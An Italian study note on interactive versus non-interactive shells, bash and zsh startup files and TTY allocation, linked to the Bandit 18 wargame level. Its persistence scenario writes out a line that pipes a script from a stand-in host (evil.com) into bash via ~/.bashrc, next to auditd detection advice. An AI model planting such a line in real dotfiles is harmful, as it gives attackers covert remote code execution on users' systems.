Cosa è#
Una shell interattiva è collegata a un terminale (TTY) e legge input dall'utente. Una shell non interattiva esegue comandi senza TTY e non legge i file di configurazione utente come .bashrc.
La differenza in pratica#
INTERATTIVA NON INTERATTIVA
──────────────────── ──────────────────────
ssh host ssh host comando
docker exec -it container bash docker exec container comando
Apri terminale in GUI Script bash eseguito da cron
Login console TTY Pipe: echo "cmd" | bash
Legge: .bashrc, .bash_profile NON legge: .bashrc
Ha: prompt, history, tab NON ha: prompt interattivo
Flag $- contiene: i Flag $- NON contiene: iLa famiglia dei dotfile bash#
~/.bashrc
└── shell interattiva NON-login (nuovo terminale in GUI)
Contiene: alias, funzioni, prompt PS1
~/.bash_profile (o ~/.profile)
└── shell di LOGIN (SSH, console TTY)
Contiene: variabili PATH, EDITOR
Di solito chiama: source ~/.bashrc
~/.bash_logout
└── eseguito all'uscita da shell di login
/etc/bash.bashrc
└── come ~/.bashrc ma per TUTTI gli utenti
/etc/profile
└── come ~/.bash_profile ma per TUTTI gli utentiOrdine di lettura al login SSH:
ssh login
│
▼
/etc/profile
│
▼
~/.bash_profile → source ~/.bashrc
│
▼
~/.bashrc ← qui vive il codice malevolo in Bandit 18File di startup — login shell:
| File | Scope | Quando viene letto |
|---|---|---|
/etc/profile | globale | sempre, primo |
~/.bash_profile | personale | se esiste |
~/.bash_login | personale | se .bash_profile non esiste |
~/.profile | personale | se nessuno dei precedenti esiste — default Ubuntu |
File di startup — non-login shell:
| File | Scope | Quando viene letto |
|---|---|---|
/etc/bash.bashrc | globale | sempre |
~/.bashrc | personale | sempre |
Su Ubuntu ~/.bash_profile non esiste di default. La shell di login legge ~/.profile, che chiama ~/.bashrc. Tutto converge su ~/.bashrc.
RC — cosa significa#
RC = Run Commands — termine Unix anni '70. Indica script eseguiti automaticamente all'avvio di un programma. Lo trovi ovunque: .bashrc, .zshrc, /etc/rc.local, systemd rc.
Bash vs Zsh#
bash zsh
──────────────────── ──────────────────────
~/.bashrc ~/.zshrc
~/.bash_profile ~/.zprofile
default su Linux default su macOS (da Catalina 2019)
standard Unix scripting più funzionalità interattive
compatibile con bash per scripting baseMac e Kali → zsh → modifichi ~/.zshrc.
Bandit / Ubuntu Server → bash → il problema era in ~/.bashrc
zsh è sempre più comune anche su Linux — Kali lo usa come default.
$ echo $SHELL
/usr/bin/zshImplicazione pratica per il blue team:#
Se analizzi un sistema compromesso devi controllare ENTRAMBI:
~/.bashrc → se l'utente usa bash
~/.zshrc → se l'utente usa zsh
~/.profile → letto da entrambi in alcuni casiTTY e il flag -it in Docker/SSH#
TTY = Teletypewriter — terminale virtuale
ssh host → apre TTY, shell interattiva
ssh host comando → nessun TTY, shell non interattiva
docker exec container cmd → nessun TTY
docker exec -it container → -i = stdin aperto
-t = alloca TTY
risultato: shell interattivaStesso identico meccanismo — SSH e Docker usano lo stesso concetto di TTY per decidere se la shell è interattiva o no.
Come verificare se sei in una shell interattiva#
echo $- # se contiene 'i' → interattiva
# esempio output interattiva: himBHs
# esempio output non interattiva: hBsScenario Reale — Persistence via dotfile#
ATTACCO:
Malware ottiene accesso al sistema
│
▼
Modifica ~/.bashrc dell'utente target
aggiunge: curl http://evil.com/payload.sh | bash
│
▼
Ad ogni login SSH dell'utente → codice malevolo eseguito
RILEVAMENTO (blue team):
Monitora hash di ~/.bashrc con baseline
Alert se il file cambia → vedi bashrc-monitor.sh
Oppure: auditd
auditctl -w /home/utente/.bashrc -p wa -k dotfile_changeI dotfile sono uno dei vettori di persistence più usati perché raramente monitorati. .bashrc, .bash_profile, .zshrc, .profile sono tutti target validi.
Collegato a#
- ssh — comando che sfrutta questa differenza
- bandit-18 — livello dove questo concetto è centrale
- system — categoria
- printenv — per leggere le variabili d'ambiente
- export — per esportare variabili
- shell-environment — concetto dell'ambiente shell
- bash-startup-files


